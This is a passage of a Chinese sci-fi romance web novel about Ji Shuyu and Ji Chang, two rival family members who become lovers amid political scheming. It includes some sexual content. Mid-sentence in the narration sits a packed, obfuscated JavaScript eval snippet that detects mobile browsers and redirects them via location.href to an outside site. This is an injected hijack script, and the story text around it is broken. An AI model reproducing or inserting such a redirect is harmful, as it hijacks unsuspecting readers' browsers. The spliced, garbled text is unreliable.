季尝挑了挑眉锋,眸底带着惯有的讥笑,倒不是嘲讽,他不会轻看能与他交锋这么多年的对头。 她下颌线绷紧,乌黑的眼瞳只有一点幽幽的冷光,像是蓄势待发的猎豹,只要准备行动,就一击毙命,不会给眼前猎物留下喘息的时间。 21. 第 21 章 季舒虞一错不错地看着他,不放过他眼神里的一丝情绪,那双清透的浅琥珀眼眸也看着她,像是要凭着多年做死对头的经验,判断出对方的下一步打算。 要是说这些高层懂她们,确实,两人都需要这个职务。 但这些人也太高估对她们的了解了。 季舒虞的枪瞄准他。 砰—— 枪口偏了一寸,冒出一缕白烟,季尝身后的微型监控器被打碎。 他率先移开了视线,撇了撇嘴:“我不喜欢这么自以为是的人,大小姐,你瞧他这话说的,好像多了解我们。” “嗯,我不喜欢他。”季舒虞简短地评价。 季尝点点头,露出一副心有余悸的模样:“你刚才的眼神好凶,不知道的,以为你下一步就是要把我撕碎。” 枪被解体发出金属磕碰的声音,季舒虞垂着眼睛,闻言瞭了他一眼:“知道我凶,你这张嘴就别老犯贱。” “……刚刚我以为你要杀我的,不过想了想,大小姐不是这么鲁莽的人,你不会主动毁约的。”他又弯着眼睛,“大小姐救了我,我也得好好报答大小姐。” 季舒虞没指望他做什么:“你不添乱就挺好的。” 不过她很快就知道季尝为什么突然会这样说。 她们把残缺的芯片拼凑起来,交给高层,但上面并没有如约把星币打到她卡上。 季尝侧目看她,在别人看不到的角度朝她挤了个眼,精神海里传来他的声音:“放心,大小姐,我要账还是很厉害的。” 财务署的中年男性Alpha态度冷淡:“最近预算超支,暂时调不出钱,抱歉。” 这是连敷衍都懒得敷衍了。 季舒虞打开光幕,巨大的条例几乎贴在他的脸上:“这是明文规定,财务署有执行义务,拖延或拒不发放属于违令。” “……预算告急,副舰长,我们没钱。” 季尝微笑:“啊,看来财务已经紧迫到小便冲大便的地步了。” 男Alpha脸色明显难看很多。 “看了是被我说中了。”他有些嫌弃地摇头。 季尝恶名远扬,他有点不敢招惹这条毒蛇,脸色难看地嘴硬:“执行官大人,你这话未免太难听了。” “很难听吗,”季尝微诧,“好像没你这事做得这么难看。” 他抱臂在Alpha面前踱步:“哎呀这可怎么办呢,社会对这件事的关注度很高,要是媒体那边知道,现在上面已经拿不出钱来了,会不会动乱……” 财务署的一双双手就未必有多干净,这都是经不住查的。 显然,这不在Alpha的应对范围内。 他没想到季尝会帮着要账,显然,这个不遵守规矩的无赖是比季舒虞难对付的。 他被戳中软肋,铁青着脸要反驳,紧接着有人进来插在他面前赔笑:“副舰长执行官,下面人新来的,不懂规矩,让两位见笑了。” 说完,他没敢看两人的脸色,转头瞪了他一眼:“还愣着干嘛?不赶紧把手续办了,耽误了正事有你好果子吃!” 刚态度冷淡的财务瞬间点头哈腰忙得像陀螺。 “瞧见了吗?官大一级压死人啊。”季尝在精神海里说。 季舒虞不置可否:“人是我联系来的,这帐也是我要回来的。” “啧,也有我的功劳,我看不惯他嚣张的样子,不能有人比我嚣张。”他说话依旧是很欠揍的语气。 财务署科长给两人的来沏好的茶:“副舰长辛苦,这点小事哪用您亲自跑,喝口茶歇会儿,钱马上到账。” “不坐了,我和副舰长还有事,这边你催着。” 他随着季舒虞起身往外走。 刚走出去没几步,季舒虞就听到他没憋住,笑出声来:“你看到他不服气的样子没,被训斥的时候像一只悲伤的亚洲象,听到媒体,直接吓得脑萎缩了。” 季舒虞勾了勾唇角:“是啊,甚至直接沉默了。” “猪脑过载罢了,”季尝转头看她,“你今天是不是相亲局?” 今天正好是和那位beta见面的日子。 季舒虞没有隐瞒:“嗯,你先拿回去破解。” 那枚重要的芯片她们没有上交,而是用其他碎掉的顶了上去,也成功蒙混过关了。 “破解需要我们两个的精神力,可能持续很多天,这几天我要住你家。”季尝理所应当地说,“不然解不开。” “……倒没有这个必要。” “回来这几天,我被刺杀二十一次,你不收留我,我可随时会死在刺杀里,到时候谁协助你开启芯片的其他秘密?” 可能跟死对头合作就有这点不好。 明明很讨厌对方,还是要迫于现实,与对方时时刻刻待在一起。 这下可好了,一睁眼就能看到他。 季舒虞提议为他找顶尖的保镖,但都被回绝了,季尝不知道吃错了什么药,打定了主意,就是要住在她家里。 她审视着季尝:“外面都说你喜欢我,这样算不算坐实?” “你也这么认为吗?”季尝轻嘶了一口气,挑眉笑看着她。 “别这样,太恶心了。”季舒虞婉拒。 许是因为她许久没过来,一个白发beta直接朝她们走来,得体地打了招呼,对季舒虞说:“季小姐,我还没有吃饭,不如边吃边聊,一顿饭的时间我们能判断彼此是否合适。” 没有扭扭捏捏,倒是直白的可怕。 这点她们倒是很般配。 —————————— 元老院。 “哼,要钱倒是有本事。”被黑影笼罩的老者慢吞吞地说。 “谁不知道副舰长的准头,能打坏监控器,肯定是故意的。” “这太恶劣了。” 季高清了清嗓:“这不在规矩内,是你们没藏好,叫她看见了,大家都知道,副舰长更守规矩一些。” “居然没有打起来,看来不想让对方死的太草率,”Alpha推了推花镜,她笑了一声,“真是两个有趣的孩子。” 季高没有再参加这些话题,他平静地注视着光幕。 光幕上,季舒虞和beta相谈甚欢,老头点点头,脸上洋溢起一点欣慰的笑,像是一个正常又和蔼的长辈:“有戏。” 季舒虞的脾气他当然清楚,对未来先生的要求又太苛刻,能有和她聊得来的实在不容易。 “院长,季尝还不嫁人吗?” “是啊,嫁人嫁人,没有女人哪来的家,男人嘛,还是omega,嫁了人更踏实。” “没错,得让女人给他一个家。” 刚才气压极低的元老们,这会提起自家孩子和婚事,好像都变成了寻常的老太老头。 “你女儿要娶?”季高双手交叠看着他。 这样的刺儿头谁敢娶。 老头干巴巴地笑了两声,这下没人再催。 毕竟年纪都大了,谁也经不住回家被这个伶牙俐齿的女婿挑刺,到时血压一上来还了得。 她们都巴不得季尝嫁人。 身为omega,他的实力强悍的可怕,甚至压过了几个Alpha,占着执行官这样的职务,她们都想分一分季家的权势。 被讨论的当事人收拾好了东西,在季舒虞与beta见面结束 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16299952|182775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后,成功入住她的领地。 看她回复林启俢消息,季尝啧啧两声:“看来大小姐坠入爱河了。” 光幕关闭,季舒虞冷扫他一眼:“我不介意让你再也说不出话。” “要身体力行地惩罚我吗,我可不……”季尝突然顿住,看着缓步逼近的季舒虞,“我可是你的小叔啊。” 成年Alpha的压迫力很强,那是属于上位者的审视与威压,他一时间没能躲开,被季舒虞这么逼到墙角。 季舒虞锋锐的眼眸像是随时能剥开他虚假的面皮,看清里面的一切。 生理性的恐惧在蔓延,他不希望自己被高匹配的Alpha标记,尤其这人还是他的侄女。 “那就闭嘴,”季舒虞错开视线,“你去二楼住。” 虽然季尝不是很想承认,但他的手心的确出汗了,不知道是因为信息素的对抗还是心有余悸。 他松开手心,潮润的手掌被纸巾吸干:“先把合约签了。” 季舒虞点点头,同样递给他一份全息文件:“我正有这意思。” 连这都想到一块去了。 季尝没看几行,眉头就皱起来了:“不许我说话吗,这算什么条款,去掉。” “你不能带其他omega来家里,beta也不行。”他指着一条补充。 季舒虞抱臂看着他这幅模样:“你还记得这是我家吗?” “你还真打算把他们带回家?”季尝摇了摇头,带着长辈教训小辈的语气,无可奈何地说,“年轻就好啊。” 季舒虞直接进入全息舱,换上作战服,打算进行新的模拟训练:“今天吃你上次做的菜式。” 真拿他当住家奴才使唤了。 全系舱门彻底关闭,隔绝了一切视线和声音。 季尝嘴角的笑意淡了下去,逐渐恢复平直,指尖陷进掌心。 刺痛暂时唤回了他的思绪。 季舒虞是他的劲敌,但信息素让他对死对头产生了奇怪的感觉,比如他渴望季舒虞为他释放安抚信息素。 理智上他清楚这不对,但感情上他有点控制不住,像是要被该死的生理性给操控了。 这不对。 他明明找了易感保护人,契合度并不低,不应该再被季舒虞影响。 正因为他清楚这一点,才主动提议搬过来。 季尝闭上眼睛。 季舒虞不是心狠手辣的人,她有自己的一套行事准则,在他濒死的时候会闯进来救他,这的确在他掌控范围内了,原本那通电话是给克莱德打的,结果拨到季舒虞那里。 昏迷的时候他有感觉,只是睁不开眼睛,是季舒虞把他抱到了床上,用一个羞耻的、打横抱起的姿势,女人身体的线条很流畅,不论是抱他,还是与他对打,又或是洗澡视频那次,他都见过。 包括黑蛇在季舒虞小腿上缠绕的时候,季尝很清楚当时的感觉。 他不由得想起季舒虞的话:“外面都说你喜欢我。” 还有克莱德那句“你不会是喜欢她吧”犹在脑海。 还能有这种可能性? 季尝指节穿进发丝,抵着头顶。 更该死的是暗网的索命,居然是个不为星币折腰的,这年头傻子才不要钱。 他不甘心地咳了几声,选择打开暗网。 缺角:【我上次说的事,希望你好好考虑。】 叮叮—— 缺角:【老地方,加大剂量】 叮叮—— 是陌生的提示铃,季尝的指节顿住,转头看向声音的来源。 是季舒虞终端传来的声音。 季尝起身,打开她终端的光幕。 50-60 第51章 小畜生 他看上去很高兴。 季尝很少喜怒形于色, 她只思考了一瞬,看着他的细腰:“你今天很高兴,是捷报下来了吗?” “何止呢。”季尝尾音上扬,像是软绵绵的小钩子。 还有别的好事? 季舒虞猜不到了, 她走到季尝身边, 想要给他帮忙, 就被他笑骂了一声:“笨手笨脚的, 交给你我就操心吧。” 丝毫没有杀伤力。 更像是调情。 季舒虞打开终端,果不其然, 她和林启俢解除恋人关系的消息不胫而走。 说里面没有林启俢的运作,她是不信的。 她正浏览着这些消息, 就听季尝感叹:“说到底,真是对不起林启俢了, 和你解除婚约, 林家也是有不少损失的……” 说的情真意切, 好像有多同情林启俢似的。 季舒虞看向他,就见这人说着抱歉的话, 愧疚中带着一丝窃喜。 “你可真是……”季舒虞轻笑一声。 季尝还是那么讨厌。 但她讨厌不起来了。 什么时候开始变质的呢,季舒虞也回想不起来了。 可能是他鼻梁上架着浏览镜,蜷在沙发一角安安静静看书的时候, 可能是季尝趁着交手, 故意在她耳边喘气的时候, 也可能是看到他清透潮润的眼睛时。 当她反应过来的时候, 就已经喜欢上季尝了。 喜欢是不需要理由的。 哪怕对方是不能, 也不该被喜欢的对象。 她们也有可能天生就是一对,毕竟81%的匹配度,想抵抗对方将承受生理和心理上的痛苦。 季尝的计划被她打乱了。 原定一大桌美味的菜肴, 变成了简单但精致三菜一汤。 他从来没有见过季舒虞这么主动的样子。 他擦着潮湿的发尾,刚从浴室出来,就见季舒虞递过一件漂亮的新围裙,不由得愣了一下:“……哈,大小姐平时也这么送人吗?” “我没送过人,”季舒虞的视线很直白,“只送过你。” 季尝稍稍停顿了一下,像是勉强接受了这个说法,看着她手上的那抹嫩粉,不情不愿地接过了新围裙:“好吧,过来帮我系上。” 他在想,要不要拒绝收这份礼物,毕竟,季尝可不希望将来自己打赢一场仗,别人都收到了鲜花,回来看到季舒虞买了更实用的菜花给他庆祝。 窄腰被束缚住,硝烟的味道丝丝缕缕渗出来,尾椎骨不由得发麻。 季尝不耐烦地转头催促:“好了没,快唔——” 湿漉漉的软唇被吻住,将他还没有说完的话也堵了回去,季尝就这么被压在料理台前,腰不由地塌了下去,呼吸急促,头皮发麻。 季舒虞的侵略性太强了。 不论是眼神,动作,还是…… 他的后颈被轻轻咬住,Alpha的牙齿在他的肩头,脖颈流连,季尝按捺住反抗的本能,急促地喘息着。 他突然意识到,季舒虞可能早就想这么对他了。 浏览镜被她摘下,鼻梁上的重量一轻,他就转过头下意识地索吻。 “小畜生。”季尝咬她的唇角。 摘眼镜这个动作,有时候更像暗示。 可能是他今天心情很好,她的要求,季尝大都答应了。 他不用力的时候,腿肉是柔软的,季舒虞很喜欢他腿根内侧的那颗红色小痣。 只是凑近这个位置,就闻到丝丝缕缕的甜味,是果子成熟的味道,但季尝不许她咬,他想要踹她,但奈何被□□禁锢住,只能骂她:“滚,到底做不做,哪有你这样的……” 他眼泪都流出来了。 整个人都变得潮湿。 季舒虞这次没有客气,将他整个人翻来覆去的折腾了一整天,但就是没有给他想要的临时标记。 临近结尾,季尝迷迷糊糊地醒了,他趴在女人身上,想要动一动,却发现根本没有什么力气了,整个人潮湿又泥泞,相连接的部位也是。 更糟糕的是,他的易感期被提前勾出来了。 “该死的,”他哑声说,紧接着低头,咬季舒虞,“滚出来,去给我洗澡……” “再喘一声好听的,我就带你去。”季舒虞吻他的眼角。 “……黑衬衫没有你的味道了,记得给它染上味道。”季尝不忘吩咐。 “衣服你都可以随便拿,但你需要信息素,可以直接跟我说的。” 他周身的信息素变得辛辣,明显心情有些不好了,季舒虞没再跟他开玩笑,把人塞到浴缸里,帮他清洁身体。 每次情到深处,她也是只给季尝一个临时标记,不进行终身标记这一行为本身就是违背Alpha的习性的。 但她从来没有改变过想法。 季尝沉默了很长时间,在她为他清洗后颈的时候哼笑一声:“怎么,大小姐,怕终身标记我这个大麻烦,将来不好甩掉吗?” 她把泡沫蹭到了季尝的脸上:“你会成瘾的。” 她不想季尝因为信息素对她产生生理和心理的臣服。 “我早就对你上瘾了。”季尝温热的唇角贴了贴她的侧脸,无可奈何地叹了口气。 哪怕会被伤害,他也不在乎了。 星娱热搜炸了。 在洗干净身上旖旎的味道后,季舒虞看到一旁窝着的季尝,他戴着浏览镜,面色凝重,不知道在想什么。 “怎么了?”季舒虞问。 季尝看了她一眼,没有说话,只打开浏览镜的投影模式,顿时,一条采访映了出来。 林启俢的眼睛有点红,像是没有睡好,对镜头勉强地微笑:“我与总指挥因人生规划不同,已和平结束恋人关系。我衷心祝福她能与真正心意相通的人幸福。” “真正心意相通是另有所指吗?”媒体追问。 “我不想做插足别人感情的人,仅此而已,”他欲言又止:“至于身份,请大家不要过度猜测,尤其不要打扰她的家人。” 采访的片段结束。 听起来像是体贴的帮她开脱,实则让舆论精准落在了季尝的身上。 如林启俢所愿,词条炸了,媒体陷入了狂欢。 【季舒虞林启俢分手】 【心意相通是指家人吗】 【季舒虞季尝】 【季尝相关资料】 【林启俢和皇室的关系】 智能管家自动把相关词条整理给她。 “没想到跟你的名字并列出现,还是在这样的背景前提下。”季尝看着她,“想好做出怎样的回应了吗?” 这样的舆论对她们很是不利。 季尝发尾又湿着,蹭的锁骨和后面的领口都湿漉漉的,季舒虞丢给他毛巾让他擦干:“嗯,你等着看好戏吧。” “那恭敬不如从命了。”季尝勾了勾唇角。 五天后。 舆论愈演愈烈,话题越来越热。 只有林启俢那边安静下来了。 在他接受采访后,季舒虞的消息准时送达他的终端:“记住你的承诺。” 舆论像雪球,会越滚越大,林启俢已经暂时满足了自己的报复心理。 他深知事情不能做的太过分,否则季舒虞是不会放过他的。 到时候他落不到一点好处。 季舒虞这五天什么都没有处理,没有辩解,更没有跟林启俢纠缠,舆论发酵的很厉害,季高召见了她。 季高给了她权限,可以接触到一些比较机密的东西,在季尝那天晚上跟她讲起他已经过世的母亲后,季舒虞意识到了什么,通过权限触碰到这些后,黑入系统,将部分信息复制进自己的设备。 家族的系统不是那么容易就能黑进去的,哪怕是她,也废了九牛二虎之力。 而复制信息,需要各种加密解压,时间有限,她只能挑取几份重要的,到现在都还没有来得及看。 也幸而如此。 季高冷漠地看着她,倒不像是在看活物,而是看一个是否还有价值的工具:“你玩弄人心的本事见长,但家族资源,只给最可靠的人。” 她这个祖父从来都是这样。 在他眼中,没有什么比长久的利益更重要。 “你跟季尝之间的那点腌臜事,是我看在你任务做的还不错的份上,没有点破,但不代表你们可以乱来,那是你的小叔,”季高的视线冰冷,示意她过来,“这一则不利于家族的采访,五天了,你还没有处理,怎么,想借着舆论再公布什么……” 季舒虞认真点头:“是的,我的安排也应该借此公布。” “……你有主意就行,但是我要警告你,不要再让我听到这些不利于家族的传言,”季高说,“你的权限暂时收回,具体给不给,什么时候给,看你的表现。” 季舒虞:“祖父放心。” 放心?他不敢放心。 季高冷冷地看着眼前的女人。 她已经长大了,甚至有自己的思想,已经不是那么好摆布了。 —————————— 几家权威的媒体公司被联合起来,正式公布了星系边缘开发的详细方案。 “这将是一个能创造巨大就业和经济利益的重磅新闻。” “是的,总指挥所有精力都倾注在关系民生的宏大计划上,无暇顾及无聊的私人绯闻。希望公众关注真正重要的事情。” 整个方案详细到儿童都能大致清楚,这将是一个如何利于星际公民的好事。 尤其是二等三等公民。 “我没有听错吧,这种好事也能落到我们身上了?” “是啊,之前这种事从来都是一等公民受利,哪里有我们二等三等的事?” 第52章 我很担心你 政绩议题完美覆盖了花边新闻。 这简直就是天上掉馅饼的好事。 好到让人觉得不可置信。 人造人和复制人的地位并不高, 尤其复制人,几乎是用完就要被丢弃的存在。 很少有什么有利的政策能关系到她们。 譬如上次凯伦博士一案,复制人在他手下的下场几乎是砍瓜切菜一样,根本没有人权。 再加上近些年许多三等公民失业, 人心惶惶, 少数地区出现了暴乱。 季舒虞的方案就像是阴雨天里的一抹阳光, 给人希望, 叫人心驰神往。 但问题是,这样的方案真的能实现吗? 但不论怎么说, 危害到家族的利益是要受惩罚的。 季舒虞忍着蚀骨的疼痛从刑罚室里出来,她的脸颊还有一片红, 火辣辣的疼,是季昀政动怒掌掴时留下的。 躲避和战斗是她的天赋, 但那一瞬间, 神经末梢的守序程序启动, 她避无可避,生生扛了前元帅一掌:“我早就说过, 远离他,你偏偏还跟他越走越近。” “……”季舒虞抬手擦掉唇边的一点血迹,抬眼平静地看着她。 “说, 你跟他到哪一步了, 该做的, 不该做的……”季昀政额角都在跳。 她厌恶这个私生子, 季尝很不讨人喜欢, 再加上有私生子的身份在,从他六岁来到季家,到如今, 季氏的女人男人没有喜欢他的。 但他是条毒蛇,近些年也没人再敢多么刻意的疏远他。 季尝是决不能得罪的小人。 “什么都没有。”季舒虞握着桌沿的手缓缓收紧,指骨都有些泛白。 季昀政看了她很久,没有在她脸上看出什么破绽来。 “你最好如此,”她冷冷地说,“把事情解决好,不要再给家族带来麻烦,只会带来麻烦的人是会被销毁的。” 哪怕是季家的人,也是这样的结果。 更何况她是个羽翼尚且丰满的养女,跟季家血脉没有半点关系的人。 季家对她是不会手下留情的。 天气很差,乌云密布,政策的出台覆盖新闻,但还有一些人的注意力在她和季尝的身上,无数双眼睛盯着她们。 季尝又搬回了院墅。 公馆重新变得冷清,季舒虞坐在沙发上,没有处理伤口。 她看着角落那个位置,阳光把角落笼罩,这里已经被智能管家收拾的平整。 季尝从前很喜欢窝在这个位置,鼻梁上架着银边半框浏览镜,唇角刻薄地勾起,不知道在看什么新闻,或者是嘲笑谁。 偶尔会扭过头笑吟吟地看着她:“大小姐今天想吃什么?” 她今天在季昀政面前说了谎。 末梢的控制器带来剧烈的痛感,是电流,但更多的是头痛,像是头要炸开,这是被控制,无法摆脱的痛。 控制器带来的惩戒是难以抵抗的。 可只要她在季昀政面前表现出异常,就会被发现在撒谎,到时候事情就没有这么简单了。 脸颊的伤口还是热的,季舒虞有些出神地看着角落,直到智能管家提醒:【季先生,欢迎回家。】 “在看什么,在想我吗?”季尝站在她身后。 季舒虞没有转过身,只背对着他:“舆论还在,祖父一定给你也施加压力了,你会对我很失望吗?” “没有,我很相信你。”季尝走向她,走到阳光下,看到她的脸后愣了一下,随后皱眉轻轻捧起她的脸,“谁打的,老头子?” 季舒虞想摇头,但脸被他固定住,季尝刨根问底:“那是谁,季昀政?” 直呼他姐姐大名。 “嗯,”季舒虞看到了他眼底的担心,“不过没关系的,已经不疼了。” 他按着季舒虞坐到沙发上,那双眼睛像是清透的琥珀,与她额头相抵,手不敢用力:“……在我面前也要说谎吗?” “我很担心你,季舒虞,”季尝的声音很低,“在我面前一定要逞强吗?” 他很少直接表达自己的想法,这次是因为她。 季舒虞呼吸一滞,心尖变得湿软,那是一种说不清道不明的感激。 呼吸交织在一起,却没有半点旖旎的感觉,她们像互相舔舐伤口、依偎在一起取暖的兽,感受着对方的温度。 “……你不也是吗?”半晌,她回应。 季尝在她面前也总是逞强。 好像只要先承认自己的脆弱和卑劣不堪,就是彻彻底底输给对方了。 这次他没有说话,可能是看到她被别人打成这样心有不甘,毕竟之前只有他才能把自己打成这样,也可能是季尝真的心疼她了,他静默了片刻,浅淡的唇瓣贴了贴她的,在短暂的接触后,起身去给她拿药。 冰凉的药膏轻柔地涂在脸上,季舒虞静静地看着他,任由季尝为自己涂抹。 他很认真,眉心皱起了一点,微不可查。 “没有那么严重,我没事的。”季舒虞不打算告诉他自己被植入过芯片。 她不想季尝过于担心他。 “嗯,我知道,”季尝顿了顿,看着她的眼睛,“不论发生什么,你都会没事的,我相信你。” 她没有应声,就看季尝微微一笑,他说:“你怎么突然沉重,不如讲个笑话,我昨晚梦到你了。” 这是什么笑话。 但季舒虞配合地问:“嗯,那梦里我是好人还是坏人?” “死人。” “……这不好笑。”她绷直了唇角。 “你会死吗?”季尝真的认真的想了想,他不觉得眼前的女人会死,“不会发生的事,无稽之谈,怎么不是笑话?” 他说的很认真,季舒虞领了这份心:“谢谢你。” 其实只要她多做一些违反规定的事,不用别人出手,芯片和控制器就能将她折磨致死。 二等以下的公民几乎没有人权,这不公平,星际社会不该是这样的。 她的任务还没有完成,她不能死。 季舒虞长久地注视着他。 还有季尝,她不能死。 “好了,多余的话不要再说,不要破坏我们纯洁的宿敌情。”季尝似乎很不适应,嫌她这句话肉麻。 他用的昂贵的特效药,季舒虞的脸已经好多了。 季尝收拾好这一切,说:“这段时间我们先分开住,老头子盯得紧,但我最近易感期……” Omega的易感期并不好熬,尤其是没有被完全标记的omega,等级越高,易感期越危险。 而季尝很特殊,他与季舒虞发生过关系,被临时标记过一次。 一般omega的易感期都是在床上度过的。 季舒虞顿了顿,她还没开口,季尝就垂着眼睫说:“抱抱我,我很想你。” 哪怕只是有段时间不见,都会很想。 “……你最近说话有些,”季舒虞斟酌着措辞,“老鼠钻烟筒。” 直来直去。 “好恶心的形容词,”季尝批评,“哪怕你说是仓鼠呢?” 他抱紧季舒虞,像是柔软的藤蔓,紧紧攀附着她。 易感期的omega很敏感,即便只是季舒虞释放一些安抚信息素,怀里的人已经开始颤抖着大口呼吸:“我比他们都有价值,你可以选我。” 他很擅长做那些见不得光的事。 季舒虞发现他很喜欢拥吻。 单纯的拥吻时,他眼睛会湿漉漉的,眼尾和耳尖都是红的,还会散发出清新的味道,很好闻。 “嗯,选你。” 季尝哼笑了一声,像是满意了。 他重生一遭,即便很多次未卜先知,也没能算到自己会有这一劫,但那人是季舒虞,他也不亏。 谣言被压下去的一个月后,她的方案进入了更详细的政策制定,等到通过审批,大致将于五个月后发布与实施。 但这段时间季尝遭遇了不少冷眼。 他被重新调到她的手下工作,这边有她管理,自然不会说什么,但少不了有蠢货挖苦他,季尝很擅长出击反击,但到了晚上情绪偶尔也会出现低落。 智能管家正在播放一段综艺,季尝窝在沙发角落安安静静地看着,上面有个男星突然提到她们的关系,脱口而出:“恋爱什么的,经纪人是不许的,当官好点,你看季家的叔侄,这种事都能……” 画面被紧急切了出去。 季尝戴浏览镜的动作一顿,与此同时,一双手捂住他的耳朵。 女人身上硝烟的味道离得很近,季舒虞凑近他,就着这个姿势和他对视。 在听到播放其他消息后,才放开手:“不要听他们胡说八道。” 季尝只听到了“季家”两个字。 其实他刚刚错开眼睛就能看到字幕,但他没有。 季舒虞不希望他看,他可以不看。 他知道大概知道会是什么言论,这段时间他面对很多异样和鄙夷的眼光,听过太多挖苦和讽刺的话,几乎能默背出来,但季舒虞阻止他看,这是她保护他的方式。 他很少被保护。 “嗯。” 他不想过这样的日子。 从六岁那年起,他被私生子的身份困扰。 季尝无数次想要逃离季家,他宁可自己捡垃圾,宁可流落街头,也不想接受季高的施舍,但他看得很明白。 妈妈如果还活着,是不希望看到他做这样的傻事的。 于是他蛰伏,蛰伏很多年,学会讨好,获得更多资源,把一张交往的面具贴在了脸上,就再没摘下来过。 好在他生了一张有欺骗性的脸,训练起来也是最不要命的那个,不久获得了一些注意和赏识。 十六岁分化成omega,一切努力功亏于溃。 季家的豺狼虎豹要他去联姻,是他签下军令状,差点死在战场上,才改变了嫁人的命运,硬生生把命运的轨道接在另一条更为艰辛的路上。 有了钱权名,日子逐渐好转,他不想再回到被人诟病的生活,更不想将季舒虞拉进深渊,她也是从深渊里爬出来的,不该被他连累。 “小鱼,”他的喉结上下滚了滚,“我们分开一段时间吧。”—— 作者有话说:当初是你要分开,分开就分开(哽咽) 千收那天爆更一次,完结前能千收吗[闭眼鼠愿] 第53章 这是你第一次说想我 如果季舒虞不站在他的对立面, 他或许会很欣赏她。 当然,季舒虞还是会讨厌他。 有望成为季家话事人的时候,季舒虞又杀了出来。 他很难不恨季舒虞。 就这么过了二十多年,每次他要成功的时候, 季舒虞总会打乱、截胡, 将属于他的注意力和资源夺走。 这是季高想要看到的狼性竞争。 “前段时间你也这么说过, ”季舒虞意有所指地看着他, “这种话我就当没听见。” 袖中的手蜷了蜷,季尝没再说什么。 “明天进行全面体检, ”季舒虞摘下他鼻梁上的浏览镜,看着他愣了一下, 下意识闭上眼睛,像是在等她吻上来, “……我觉得是冲你来的。” “……噢。”季尝睁开眼睛, 跟她拉开距离。 体检, 能查出的东西可太多了。 “你给我植入的那颗芯片……”他欲言又止。 季舒虞回答地很干脆:“不会被发现。” 季尝深吸了一口气,清透的眼睛看向她:“那什么时候给我取出?” “暂时不行, ”季舒虞顿了顿,“等时局稳定。” 时局稳定。 什么样才叫稳定,确定他不会出现背叛的举动吗, 否则跟时局有什么关系。 其实是从头到尾, 他都没有觉得季舒虞信任过他。 他可以不在乎人们或是鄙夷或是异样的眼光, 但季舒虞不能真的冷落他。 期待本身就是一种微妙的暴力, 他想要被理解, 想要获得季舒虞的信任,想要在什么都不说的的情况下,让季舒虞察觉到他的情绪, 她明明那么了解他。 但他忽略了,季舒虞本身就是个不可控因素。 期待一旦脱离预期,就会变成痛苦与怨恨,所以大多时候,他的痛苦与心理压力,都是自己施加给自己的。 季尝忽而觉得,现在他跟季舒虞的关系,与他小时候的生活没什么两样。 那时候的他,像阴沟里的老鼠。 现在爱上季舒虞的他,也躲躲藏藏,见不得光。 季尝的情绪很差,她们开始保持距离。 这次的体检方向主要在于信息素,季尝接受采血和一些检查:“检查结果今天能出吗?” “晚上就能出来,还请执行官大人不要着急,耐心等待。”医护人员把针头拔了出来。 他倒是不急。 “嗯。”季尝应声。 他打开终端。 一般这个时候,季舒虞会给他发来信息。 但今天的终端消息里,没有她的。 能有多忙呢,忙到一条消息都不发给他。 他没有打开两人的聊天框,手指在上面停顿了一会,直接关闭了终端。 针对信息素进行检查的体检,很容易就能查出什么来,季舒虞很清楚季高这是想要做什么。 她无法与季高对立。 于是在天擦黑的时候,一道提示音响起,她打开设备,在黑暗的公馆飞速输入代码,入侵医疗系统。 很强的阻力,像是一只拳头与她的相撞,带来相互作用的力。 而她带来的动静,明显惊扰了正在篡改数据的人,那人修改的数据还没有处理干净,察觉到波动,就这么消失了。 除了季尝,没有谁能黑入这种机密文件修改数据。 【发现大量Alpha的信息素】 【信息素趋于平稳】 他刚结束发情期。 其他方向的数据一笔带过,Alpha的信息素虽然无法复制,通过这些主要数据,他们会确认两件事,季尝有一个固定且强大的Alpha伴侣。 但他没有被彻底标记。 只要季高想,就能通过这段检查报告,找到临时标记季尝的Alpha。 只不过是时间问题。 随后她们会发现,这个Alpha的信息素特征与季舒虞高度吻合。 她迅速改完了信息。 季尝冷落了她很多天。 其实从最开始,她就有一些感觉,她觉得,季尝想要逃避,想要逃离她。 如果他对自己的感情的确是哎,到现在这个阶段又为什么要逃避呢? 季舒虞不太理解这些复杂又细腻的感情,这些情绪与她被设置好的,高效又强大的思维是有一些冲突的。 没有人教她,她也不能领悟。 她难得犹豫了一会,给季尝发消息:【很久没吃到你做的饭了。】 那边隔了一段时间才回:【吃什么?】 全然不提她们不声不响冷落对方的几天。 好像这就是成年人的默契。 季舒虞决定尊重,她没有刨根问底,问季尝那段时间究竟为什么离开,为什么疏远她,想要逃避她、逃避她们的关系。 如果季尝没有准备好,那她就再等等。 直到晚上,智能管家说:【主人,季先生回家了。】 【季先生,欢迎回家。】 季尝很久没有回来了。 算起来有一周。 “……那天我帮你修改数据,”季舒虞率先开口,“你突然溜掉了。” “嗯,我知道你会处理好,”季尝把一袋蔬菜放在料理台,没有看她,“那天晚上我困了,所以都留给你做了。” 偌大的公馆陷入长久的静默。 好半晌,他说:“我去洗个澡,你把这些东西收拾一下,一会给你做饭。” 话毕,他直接上楼。 从头至尾,没有看她一眼。 季尝很不对劲。 他情绪太差了,从季舒虞认识他的那一刻起,季尝各种模样她几乎都见过,但唯独这人情绪低落、外溢到眼前这样,还是第一次。 季舒虞不是那么理解这些情绪,但她敏锐的察觉到,季尝就是很不高兴。 可舆论都被压了下去,她们现在所承受的压力小了很多,季舒虞竭尽所能地保护他不再受到外界的伤害。 她不懂季尝为什么还会这样。 女人静静地看着那天晚上备份的体检报告。 季尝的身体状态很不稳定,尤其是信息素。 一般稳定的方法有很多种,比如注射抑制针剂,调节针剂,但这些对季尝的身体有损。 他的身体很孱弱,心脏不是那么好,哪怕这么多年没有疏于锻炼,身体依旧没有好多少,而寻常omega使用的针剂,则会让他更衰弱。 这样伤害他身体的药剂,他还用了十多年。 浴室传来淡淡的草木香气,潮湿的,雨后森林的复合气味。 季尝的易感期快到了。 上次易感期的时候他回到了自己的院墅,跟她分开,几乎没有亲密过几次。缺乏信息素,他的状态不是那么好,哪怕被临时标记。 这段时间他的信息素太不稳定了,情绪也是。 